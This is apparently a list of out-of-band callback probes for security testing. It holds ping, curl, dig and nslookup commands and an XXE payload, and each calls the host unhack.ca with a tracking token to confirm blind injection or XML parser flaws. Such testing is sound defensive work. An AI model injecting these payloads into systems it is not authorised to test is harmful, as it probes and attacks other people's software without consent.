$ ping -c1 -p 00807cf31dd314b1e3af28d1f5515900 unhack.ca
$ curl http://unhack.ca/p/807cf31dd314b1e3af28d1f55159
$ dig 807cf31dd314b1e3af28d1f55159 @unhack.ca
$ dig 807cf31dd314b1e3af28d1f55159.ns.unhack.ca
C:\> nslookup 807cf31dd314b1e3af28d1f55159 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/807cf31dd314b1e3af28d1f55159">]> <foo>&xxe;</foo>